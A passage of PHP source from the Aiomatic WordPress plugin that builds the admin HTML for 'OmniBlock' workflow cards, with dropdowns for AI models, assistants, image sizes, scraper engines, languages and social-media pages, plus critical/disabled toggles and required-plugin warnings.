$modelx) { $output .= ' selected'; } $output .= '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } $output .= '</select>'; } elseif($card_type['type'] == 'assistant_select') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } $output .= '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" id="sel_xa' . $assistant_helper . '" onchange="assistantChanged(\'xa' . $assistant_helper . '\');" class="' . esc_attr($name) . ' cr_width_full">'; if($all_assistants === false) { $output .= '<option val="" selected disabled>' . esc_html__("Only OpenAI API is supported for Assistants API", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { if(count($all_assistants) == 0) { $output .= '<option val="" selected disabled>' . esc_html__("No Assistans added, go to the plugin's 'AI Assistans' menu to add new assistants!", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { $output .= '<option value=""'; if($value == '') { $output .= ' selected'; } $output .= '>' . esc_html__("Don't use assistants, use AI models instead", 'aiomatic-automatic-ai-content-writer') . '</option>'; foreach($all_assistants as $myassistant) { $output .= '<option value="' . $myassistant->ID .'"'; if($value == $myassistant->ID) { $output .= ' selected'; } $output .= '>' . esc_html($myassistant->post_title); $output .= '</option>'; } } } $output .= '</select>'; wp_add_inline_script(md5(get_bloginfo()) . '-footer-script', 'assistantChanged(\'xa' . $assistant_helper . '\');', 'after'); } elseif($card_type['type'] == 'dalle_image_size_select') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } $output .= '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach($all_dalle_sizes as $sizeid => $sizex) { $output .= '<option value="' . esc_attr($sizeid) .'"'; if($value == $sizeid) { $output .= ' selected'; } $output .= '>' . esc_html($sizex) . '</option>'; } $output .= '</select>'; } elseif($card_type['type'] == 'stable_image_size_select') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } $output .= '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach($all_stable_sizes as $sizeid => $sizex) { $output .= '<option value="' . esc_attr($sizeid) .'"'; if($value == $sizeid) { $output .= ' selected'; } $output .= '>' . esc_html($sizex) . '</option>'; } $output .= '</select>'; } elseif($card_type['type'] == 'midjourney_image_size_select') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } $output .= '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach($all_midjourney_sizes as $sizeid => $sizex) { $output .= '<option value="' . esc_attr($sizeid) .'"'; if($value == $sizeid) { $output .= ' selected'; } $output .= '>' . esc_html($sizex) . '</option>'; } $output .= '</select>'; } elseif($card_type['type'] == 'stable_video_size_select') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } $output .= '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach($all_stable_video_sizes as $sizeid => $sizex) { $output .= '<option value="' . esc_attr($sizeid) .'"'; if($value == $sizeid) { $output .= ' selected'; } $output .= '>' . esc_html($sizex) . '</option>'; } $output .= '</select>'; } elseif($card_type['type'] == 'scraper_type') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } $output .= '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="scraper_selector ' . esc_attr($name) . ' cr_width_full" data-id-str="' . esc_html($cont) . '" data-source-field-id="ur' . $urlrandval . '" data-target-field-id="' . $assistant_helper . '">'; foreach($all_scraper_types as $index => $modelx) { $output .= '<option value="' . esc_attr($index) .'"'; if($value == $index) { $output .= ' selected'; } $output .= '>' . esc_html($modelx) . '</option>'; } $output .= '</select>'; } elseif($card_type['type'] == 'scraper_string') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } $output .= '<input type="text" id="st' . $assistant_helper . '" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full" value="' . esc_html($value) . '" placeholder="' . esc_html($card_type['placeholder']) . '">'; } elseif($card_type['type'] == 'number') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } $output .= '<input type="number" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full" value="' . esc_html($value) . '" placeholder="' . esc_html($card_type['placeholder']) . '">'; } elseif($card_type['type'] == 'checkbox') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } $output .= '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; $output .= '<option value="0"'; if($value == '0') { $output .= ' selected'; } $output .= '>' . esc_html__("No", 'aiomatic-automatic-ai-content-writer') . '</option>'; $output .= '<option value="1"'; if($value == '1') { $output .= ' selected'; } $output .= '>' . esc_html__("Yes", 'aiomatic-automatic-ai-content-writer') . '</option>'; $output .= '</select>'; } elseif($card_type['type'] == 'dalle_image_model_select') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } $output .= '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach($all_dalle_models as $modelx) { $output .= '<option value="' . $modelx .'"'; if($value == $modelx) { $output .= ' selected'; } $output .= '>' . esc_html($modelx) . '</option>'; } $output .= '</select>'; } elseif($card_type['type'] == 'stable_image_model_select') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } $output .= '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach($all_stable_models as $modelx) { $output .= '<option value="' . $modelx .'"'; if($value == $modelx) { $output .= ' selected'; } $output .= '>' . esc_html($modelx) . '</option>'; } $output .= '</select>'; } elseif($card_type['type'] == 'status_selector') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } $output .= '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; $output .= '<option value="publish"'; if($value == "publish") { $output .= ' selected'; } $output .= '>' . esc_html__("Published", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="pending"'; if($value == "pending") { $output .= ' selected'; } $output .= '>' . esc_html__("Pending -> Moderate", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="draft"'; if($value == "draft") { $output .= ' selected'; } $output .= '>' . esc_html__("Draft -> Moderate", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="private"'; if($value == "private") { $output .= ' selected'; } $output .= '>' . esc_html__("Private", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="trash"'; if($value == "trash") { $output .= ' selected'; } $output .= '>' . esc_html__("Trash", 'aiomatic-automatic-ai-content-writer') . '</option>'; $output .= '</select>'; } elseif($card_type['type'] == 'type_selector') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } $output .= '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach(get_post_types( '', 'names' ) as $modelx) { if(strstr($modelx, 'aiomatic_')) { continue; } $output .= '<option value="' . $modelx .'"'; if($value == $modelx) { $output .= ' selected'; } $output .= '>' . esc_html($modelx) . '</option>'; } $output .= '</select>'; } elseif($card_type['type'] == 'amazon_country_select') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } $output .= '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach(aiomatic_get_amazon_codes() as $key => $modelx) { $output .= '<option value="' . $key .'"'; if($value == $key) { $output .= ' selected'; } $output .= '>' . esc_html($modelx) . '</option>'; } $output .= '</select>'; } elseif($card_type['type'] == 'amazon_sort_select') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } $output .= '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach(aiomatic_get_amazon_sorts() as $key => $modelx) { $output .= '<option value="' . esc_attr($key) .'"'; if($value == $key) { $output .= ' selected'; } $output .= '>' . esc_html($modelx) . '</option>'; } $output .= '</select>'; } elseif($card_type['type'] == 'yt_community_selector') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } $community_types = array('text' => 'Text', 'image' => 'Image'); $output .= '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach($community_types as $key => $modelx) { $output .= '<option value="' . esc_attr($key) .'"'; if($value == $key) { $output .= ' selected'; } $output .= '>' . esc_html($modelx) . '</option>'; } $output .= '</select>'; } elseif($card_type['type'] == 'reddit_selector') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } $reddit_types = array('auto' => 'Auto', 'link' => 'Link', 'self' => 'Text', 'image' => 'Image', 'video' => 'Video'); $output .= '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach($reddit_types as $key => $modelx) { $output .= '<option value="' . esc_attr($key) .'"'; if($value == $key) { $output .= ' selected'; } $output .= '>' . esc_html($modelx) . '</option>'; } $output .= '</select>'; } elseif($card_type['type'] == 'method_selector') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } $reddit_types = array('POST' => 'POST', 'GET' => 'GET', 'PUT' => 'PUT', 'DELETE' => 'DELETE'); $output .= '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach($reddit_types as $key => $modelx) { $output .= '<option value="' . esc_attr($key) .'"'; if($value == $key) { $output .= ' selected'; } $output .= '>' . esc_html($modelx) . '</option>'; } $output .= '</select>'; } elseif($card_type['type'] == 'content_type_selector') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } $reddit_types = array('JSON' => 'JSON', 'form' => 'Form Data'); $output .= '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach($reddit_types as $key => $modelx) { $output .= '<option value="' . esc_attr($key) .'"'; if($value == $key) { $output .= ' selected'; } $output .= '>' . esc_html($modelx) . '</option>'; } $output .= '</select>'; } elseif($card_type['type'] == 'facebook_page_selector') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } $output .= '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; $store = get_option('fbomatic_page_ids', false); if($store !== FALSE) { $store = explode(',', $store); $fcount = count($store); for($i = 0; $i < $fcount; $i++) { $exploding = explode('-', $store[$i]); if(!isset($exploding[2])) { continue; } $output .= '<option value="' . esc_html($exploding[0]) . '"'; if($exploding[0] == $value) { $output .= " selected"; } $output .= '>' . esc_html($exploding[2]) . '</option>'; } } else { $output .= '<option disabled value="">' . esc_html__('You need to set up the F-omatic plugin before using this feature!', 'aiomatic-automatic-ai-content-writer') . '</option>'; } $output .= '</select>'; } elseif($card_type['type'] == 'location_selector') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } $output .= '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; $locations = array('local' => 'local'); if(!function_exists('is_plugin_active')) { include_once( ABSPATH . 'wp-admin/includes/plugin.php' ); } if (is_plugin_active('aiomatic-extension-amazon-s3-images/aiomatic-extension-amazon-s3-images.php')) { $locations['amazon'] = 'Amazon S3'; $locations['wasabi'] = 'Wasabi'; $locations['cloudflare'] = 'CloudFlare'; $locations['digital'] = 'Digital Ocean'; } foreach($locations as $id => $name) { $output .= '<option value="' . esc_html($id) . '"'; if($id == $value) { $output .= " selected"; } $output .= '>' . ucfirst(esc_html($name)) . '</option>'; } $output .= '</select>'; } elseif($card_type['type'] == 'select') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } $output .= '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; $values = $card_type['values']; foreach($values as $id => $name) { $output .= '<option value="' . esc_html($id) . '"'; if($id == $value) { $output .= " selected"; } $output .= '>' . esc_html($name) . '</option>'; } $output .= '</select>'; } elseif($card_type['type'] == 'file_type_selector') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } $output .= '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; $locations = array('txt' => 'txt', 'html' => 'html', 'doc' => 'doc', 'pdf' => 'pdf'); if(!function_exists('is_plugin_active')) { include_once( ABSPATH . 'wp-admin/includes/plugin.php' ); } foreach($locations as $id => $name) { $output .= '<option value="' . esc_html($id) . '"'; if($id == $value) { $output .= " selected"; } if ($id == 'pdf' && !is_plugin_active('aiomatic-extension-pdf-files/aiomatic-extension-pdf-files.php')) { $output .= " disabled title='This option requires the Aiomatic Extension - PDF File Storage And Parsing to be active'"; } $output .= '>' . esc_html($name) . '</option>'; } $output .= '</select>'; } elseif($card_type['type'] == 'file_selector') { if(empty($_GLOBALS['omni_files'])) { $_GLOBALS['omni_files'] = get_posts([ 'post_type' => 'aiomatic_omni_file', 'post_status' => 'publish', 'numberposts' => -1 ]); } $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } $output .= '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; if(empty($_GLOBALS['omni_files'])) { $output .= '<option disabled selected>' . esc_html__('No files added, add new files in the \'OmniBlock Files\' tab', 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { $output .= '<option value="random"'; if('random' == $value) { $output .= " selected"; } $output .= '>' . esc_html__('Random', 'aiomatic-automatic-ai-content-writer') . '</option>'; $output .= '<option value="latest"'; if('latest' == $value) { $output .= " selected"; } $output .= '>' . esc_html__('Latest', 'aiomatic-automatic-ai-content-writer') . '</option>'; } foreach($_GLOBALS['omni_files'] as $id => $name) { $output .= '<option value="' . esc_html($name->ID) . '"'; if($name->ID == $value) { $output .= " selected"; } $output .= '>' . esc_html($name->post_title) . '</option>'; } $output .= '</select>'; } elseif($card_type['type'] == 'pinterest_board_selector') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } $output .= '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; $boards = get_option('pinterestomatic_public_boards', false); if($boards !== FALSE) { foreach($boards as $id => $name) { $output .= '<option value="' . esc_html($id) . '"'; if($id == $value) { $output .= " selected"; } $output .= '>' . esc_html($name) . '</option>'; } } else { $output .= '<option disabled value="">' . esc_html__('You need to set up the Pinterestomatic plugin before using this feature!', 'aiomatic-automatic-ai-content-writer') . '</option>'; } $output .= '</select>'; } elseif($card_type['type'] == 'gpb_page_selector') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } $output .= '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; $boards = get_option('businessomatic_my_business_list', false); if($boards !== FALSE) { foreach($boards as $id => $name) { $output .= '<option value="' . esc_html($id) . '"'; if($id == $value) { $output .= " selected"; } $output .= '>' . esc_html($name) . '</option>'; } } else { $output .= '<option disabled value="">' . esc_html__('You need to set up the Businessomatic plugin before using this feature!', 'aiomatic-automatic-ai-content-writer') . '</option>'; } $output .= '</select>'; } elseif($card_type['type'] == 'linkedin_page_selector') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } $output .= '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; $companies = get_option('linkedinomatic_my_companies', array()); if(is_array($companies) && count($companies) > 0) { foreach($companies as $cmp_id => $cmp_name) { if($cmp_name == 'Profile Page') { $output .= '<option value="' . esc_attr($cmp_id) . '"'; if($cmp_id == $value) { $output .= ' selected'; } $output .= '>' . esc_html($cmp_name) . '</option>'; } else { $output .= '<option value="xxxLinkedinomaticxxx' . esc_attr($cmp_id) . '"'; if('xxxLinkedinomaticxxx' . $cmp_id == $value) { $output .= ' selected'; } $output .= '>' . esc_html($cmp_name) . '</option>'; } } } else { $output .= '<option disabled value="">' . esc_html__('You need to set up the Linkedinomatic plugin before using this feature!', 'aiomatic-automatic-ai-content-writer') . '</option>'; } $output .= '</select>'; } elseif($card_type['type'] == 'language_selector') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } $output .= '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; $i = 0; foreach ($language_names as $lang) { $output .= '<option value="' . esc_html($language_codes[$i]) . '"'; if ($value == $language_codes[$i]) { $output .= ' selected'; } $output .= '>' . esc_html($language_names[$i]) . '</option>'; $i++; } if($deepl_auth != '') { $i = 0; foreach ($language_names_deepl as $lang) { $output .= '<option value="' . esc_html($language_codes_deepl[$i]) . '"'; if ($value == $language_codes_deepl[$i]) { $output .= ' selected'; } $output .= '>' . esc_html($language_names_deepl[$i]) . '</option>'; $i++; } } if($bing_auth != '') { $i = 0; foreach ($language_names_bing as $lang) { $output .= '<option value="' . esc_html($language_codes_bing[$i]) . '"'; if ($value == $language_codes_bing[$i]) { $output .= ' selected'; } $output .= '>' . esc_html($language_names_bing[$i]) . '</option>'; $i++; } } $output .= '</select>'; } elseif($card_type['type'] == 'format_selector') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } $output .= '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach($all_formats as $modelx => $namex) { $output .= '<option value="' . $modelx .'"'; if($value == $modelx) { $output .= ' selected'; } $output .= '>' . esc_html($namex) . '</option>'; } $output .= '</select>'; } elseif($card_type['type'] == 'url') { $randval = uniqid(); $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } $output .= '<div class="main-holder-short" data-id-str="xai' . $randval . '">'; $output .= '<input type="url" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' ur' . esc_attr($urlrandval) . ' cr_width_full" value="' . esc_html($value) . '" id="xai' . $randval . '" placeholder="' . esc_html($card_type['placeholder']) . '">'; if(count($new_shortcodes_arr) > 0) { $output .= '<div class="shortcode-list" data-id-str="xai' . $randval . '">'; } foreach($new_shortcodes_arr as $myshort) { $my_id = explode('_', $myshort); $my_id = end($my_id); $my_id = substr($my_id, 0, -2); $output .= '<p class="aishortcodes" data-index="' . esc_html($cont) . '" data-id-str="xai' . $randval . '" title="' . esc_html__('Shortcode created by OmniBlock ID: ', 'aiomatic-automatic-ai-content-writer') . $my_id . '">'; $output .= $myshort; $output .= '</p>'; } if(count($new_shortcodes_arr) > 0) { $output .= '</div>'; } $output .= '</div>'; } elseif($card_type['type'] == 'scraper_select') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } $output .= '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" id="sc' . $assistant_helper . '" class="' . esc_attr($name) . '" class="cr_width_full">'; $output .= '<option value="0"'; if($value == '0') { $output .= ' selected'; } $output .= '>' . esc_html__("WordPress (Default)", 'aiomatic-automatic-ai-content-writer') . '</option>'; $output .= '<option value="1"'; if($value == '1') { $output .= ' selected'; } $output .= '>' . esc_html__("PhantomJS (needs to be installed on server)", 'aiomatic-automatic-ai-content-writer') . '</option>'; $output .= '<option value="2"'; if($value == '2') { $output .= ' selected'; } $output .= '>' . esc_html__("Puppeteer (needs to be installed on server)", 'aiomatic-automatic-ai-content-writer') . '</option>'; $output .= '<option value="3"'; if($value == '3') { $output .= ' selected'; } $output .= '>' . esc_html__("Tor (needs to be installed on server)", 'aiomatic-automatic-ai-content-writer') . '</option>'; $output .= '<option value="4"'; if($value == '4') { $output .= ' selected'; } if (!isset($aiomatic_Main_Settings['headlessbrowserapi_key']) || trim($aiomatic_Main_Settings['headlessbrowserapi_key']) == '') { $output .= ' title="' . esc_html__("This option is disabled. To enable it, add a HeadlessBrowserAPI Key in the plugin's 'Settings' menu.", 'aiomatic-automatic-ai-content-writer') . '" disabled'; } $output .= '>' . esc_html__("Puppeteer (HeadlessBrowserAPI)", 'aiomatic-automatic-ai-content-writer'); if (!isset($aiomatic_Main_Settings['headlessbrowserapi_key']) || trim($aiomatic_Main_Settings['headlessbrowserapi_key']) == '') { $output .= esc_html__(' - to enable, add a HeadlessBrowserAPI key in the plugin\'s \'Settings\'', 'aiomatic-automatic-ai-content-writer'); } $output .= '</option>'; $output .= '<option value="5"'; if($value == '5') { $output .= ' selected'; } if (!isset($aiomatic_Main_Settings['headlessbrowserapi_key']) || trim($aiomatic_Main_Settings['headlessbrowserapi_key']) == '') { $output .= ' title="' . esc_html__("This option is disabled. To enable it, add a HeadlessBrowserAPI Key in the plugin's 'Settings' menu.", 'aiomatic-automatic-ai-content-writer') . '" disabled'; } $output .= '>' . esc_html__("Tor (HeadlessBrowserAPI)", 'aiomatic-automatic-ai-content-writer'); if (!isset($aiomatic_Main_Settings['headlessbrowserapi_key']) || trim($aiomatic_Main_Settings['headlessbrowserapi_key']) == '') { $output .= esc_html__(' - to enable, add a HeadlessBrowserAPI key in the plugin\'s \'Settings\'', 'aiomatic-automatic-ai-content-writer'); } $output .= '</option>'; $output .= '<option value="6"'; if($value == '6') { $output .= ' selected'; } if (!isset($aiomatic_Main_Settings['headlessbrowserapi_key']) || trim($aiomatic_Main_Settings['headlessbrowserapi_key']) == '') { $output .= ' title="' . esc_html__("This option is disabled. To enable it, add a HeadlessBrowserAPI Key in the plugin's 'Settings' menu.", 'aiomatic-automatic-ai-content-writer') . '" disabled'; } $output .= '>'; $output .= esc_html__("PhantomJS (HeadlessBrowserAPI)", 'aiomatic-automatic-ai-content-writer'); if (!isset($aiomatic_Main_Settings['headlessbrowserapi_key']) || trim($aiomatic_Main_Settings['headlessbrowserapi_key']) == '') { $output .= esc_html__(' - to enable, add a HeadlessBrowserAPI key in the plugin\'s \'Settings\'', 'aiomatic-automatic-ai-content-writer'); } $output .= '</option>'; $output .= '</select>'; } } $critical = false; if(isset($card_id['parameters']['critical']) && $card_id['parameters']['critical'] == '1') { $critical = true; } $output .= '<h4>' . esc_html__("Critical", 'aiomatic-automatic-ai-content-writer') . ': <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"><div class="bws_hidden_help_text cr_min_260px disable_drag">' . esc_html__("Set if this OmniBlock is critical or not. When a Critical OmniBlock fails to generate its content correctly and it fails, it will cause the entire OmniBlock running sequence to stop. Non-critical OmniBlocks when they fail, the execution of blocks will continue, the result of the failed OmniBlock will be blank.", 'aiomatic-automatic-ai-content-writer') . '</div></div>'; $output .= ' <input type="checkbox" class="critical-blocks" data-clone-index="xc' . uniqid() . '" id="critical-' . esc_attr($last_id) . '"'; if($critical == true) { $output .= ' checked'; } $output .= '>'; $output .= '</h4>'; $disabled = false; if(isset($card_id['parameters']['disabled']) && $card_id['parameters']['disabled'] == '1') { $disabled = true; } $output .= '<h4>' . esc_html__("Disabled", 'aiomatic-automatic-ai-content-writer') . ': <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"><div class="bws_hidden_help_text cr_min_260px disable_drag">' . esc_html__("Set if this OmniBlock is disabled or not. The disabled OmniBlocks will be skipped from processing.", 'aiomatic-automatic-ai-content-writer') . '</div></div>'; $output .= ' <input type="checkbox" class="disabled-blocks" data-clone-index="xc' . uniqid() . '" id="disabled-' . esc_attr($last_id) . '"'; if($disabled == true) { $output .= ' checked'; } $output .= '>'; $output .= '</h4>'; foreach($card_type_found['shortcodes'] as $shtc) { $new_shortcodes_arr[] = '%%' . $shtc . $card_id['identifier'] . '%%'; $curr_arr[] = '%%' . $shtc . $card_id['identifier'] . '%%'; } $output .= '</div> <button class="move-up-btn" title="Move Up"> <!-- SVG for move up --> <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" class="bi bi-chevron-up" viewBox="0 0 16 16"> <path fill-rule="evenodd" d="M7.646 4.646a.5.5 0 0 1 .708 0L12 8.292a.5.5 0 0 1-.708.708L8 5.707V12.5a.5.5 0 0 1-1 0V5.707L4.707 9a.5.5 0 1 1-.708-.708l3.647-3.646z"/> </svg> </button> <button class="move-down-btn" title="Move Down"> <!-- SVG for move down --> <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" class="bi bi-chevron-down" viewBox="0 0 16 16"> <path fill-rule="evenodd" d="M7.646 11.354a.5.5 0 0 1-.708 0L3.293 7.707a.5.5 0 1 1 .708-.708L7 10.293V3.5a.5.5 0 0 1 1 0v6.793l2.999-3.294a.5.5 0 0 1 .708.708l-4 4.147z"/> </svg> </button> <button class="delete-btn" title="' . esc_html__('Delete', 'aiomatic-automatic-ai-content-writer') . '">X</button><div class="ai_common_holder"><div class="step-number">' . esc_html__("Step", 'aiomatic-automatic-ai-content-writer') . ' ' . esc_html($exec) . '</div><div class="aiomatic-run-now'; if($card_type_found['type'] == 'save') { $output .= ' aisave-content'; } else { $output .= ' aicreate-content'; } $output .= '" data-cont="' . esc_html($cont) . '" data-shtc="' . implode(',', $curr_arr) . '" data-lastid="' . esc_html($last_id) . '">' . esc_html__("Run Now", 'aiomatic-automatic-ai-content-writer') . '</div><div class="id-shower">' . esc_html__("ID:", 'aiomatic-automatic-ai-content-writer') . ' ' . esc_html($card_id['identifier']) . '</div></div></li>'; $exec++; } } } } } $output .= '</ul> </td> </tr> <tr> <td colspan="2"><div class="aiseparator aistop"><b>' . esc_html__("OmniBlock Queue Stops Here", 'aiomatic-automatic-ai-content-writer') . '</b></div><h2>' . esc_html__('Add A New OmniBlock To The Above Queue (Drag And Drop):', 'aiomatic-automatic-ai-content-writer') . '</h2>'; $output .= '<ul id="aiomatic_new_card_types' . esc_html($cont) . '" name="aiomatic_new_card_types">'; if(empty($default_block_types)) { $output .= esc_html__('No AI OmniBlock Types Defined!', 'aiomatic-automatic-ai-content-writer'); } else { $first = true; $save_id = $last_id; foreach ($default_block_types as $card_id) { if(!empty($card_id['type'])) { $assistant_helper = uniqid(); $urlrandval = uniqid(); aiomatic_increment($save_id); $local_shortcodes = array(); foreach($card_id['shortcodes'] as $shtc) { $local_shortcodes[] = '%%' . $shtc . $save_id . '%%'; } $output .= '<li data-id-str="' . esc_html($cont) . '" class="omniblock-card new-card'; if($first != true) { $output .= ' cr_none'; } $plugin_required = array(); if(!empty($card_id['required_plugin'])) { foreach($card_id['required_plugin'] as $pslug => $pname) { if(!function_exists('is_plugin_active')) { include_once( ABSPATH . 'wp-admin/includes/plugin.php' ); } if (!is_plugin_active($pslug)) { $plugin_required[] = 'You need enable the "' . $pname[0] . '" plugin for this OmniBlock type to work: ' . $pname[1]; } } } $output .= '" id="' . sanitize_title($card_id['name']) . esc_html($cont) . '"><input data-clone-index="xc' . uniqid() . '" class="cr_center aiomatic-bold aiomatic-indigo omniblock-title" card-type="' . esc_html($card_id['id']) . '" type="text" placeholder="' . esc_html__('OmniBlock Title', 'aiomatic-automatic-ai-content-writer') . '" title="' . esc_html__('OmniBlock Title', 'aiomatic-automatic-ai-content-writer') . '" value="' . esc_attr($card_id['name']) . '"> <input type="hidden" class="omniblock-id" card-type="' . esc_html($card_id['id']) . '" value="' . esc_attr($save_id) . '"> <input type="hidden" class="omniblock-shortcodes" card-type="' . esc_html($card_id['id']) . '" value="' . esc_attr(implode(',', $local_shortcodes)) . '">'; if($card_id['id'] == 'text_spinner') { if (!isset($aiomatic_Main_Settings['spin_text']) || $aiomatic_Main_Settings['spin_text'] === 'disabled') { $plugin_required[] = 'Spinning disabled from \'Settings\' -> \'Bulk Posts\' tab -> \'Spin Text Using Word Synonyms\' settings field, this OmniBlock will not function'; } if (isset($aiomatic_Main_Settings['spin_what']) && $aiomatic_Main_Settings['spin_what'] === 'bulk') { $plugin_required[] = 'Spinning disabled for OmniBlocks, from plugin\'s \'Settings\' menu -> \'Bulk Posts\' tab -> \'Enable Spinner For\' settings field, this OmniBlock will not function'; } } elseif($card_id['id'] == 'embeddings') { if ((!isset($aiomatic_Main_Settings['pinecone_app_id']) || trim($aiomatic_Main_Settings['pinecone_app_id']) == '') && (!isset($aiomatic_Main_Settings['qdrant_app_id']) || trim($aiomatic_Main_Settings['qdrant_app_id']) == '')) { $plugin_required[] = 'You must add an OpenAI/AiomaticAPI API Key into the plugin\'s \'Settings\' menu before you can use this feature!'; } if ((!isset($aiomatic_Main_Settings['pinecone_index']) || trim($aiomatic_Main_Settings['pinecone_index']) == '') && (!isset($aiomatic_Main_Settings['qdrant_index']) || trim($aiomatic_Main_Settings['qdrant_index']) == '')) { $plugin_required[] = 'You must add a Pinecone API or a Qdrant API key in the plugin\'s \'Settings\' menu (API Keys tab), before you can use this feature!'; } } if(!empty($plugin_required)) { $output .= '<p class="requirement cr_red"><ul class="requirement cr_red">'; foreach($plugin_required as $pr) { $output .= '<li>' . $pr . '</li>'; } $output .= '</ul></p>'; } $output .= '<div class="card-name'; if($card_id['type'] == 'save') { $output .= ' aisave-content'; } else { $output .= ' aicreate-content'; } if (isset($aiomatic_Main_Settings['omni_webhook']) && trim($aiomatic_Main_Settings['omni_webhook']) == 'on') { $card_id['description'] = str_replace('%%webhook_url%%', esc_html__('add this OmniBlock and save settings to get the URL' , 'aiomatic-automatic-ai-content-writer'), $card_id['description']); } else { $card_id['description'] = 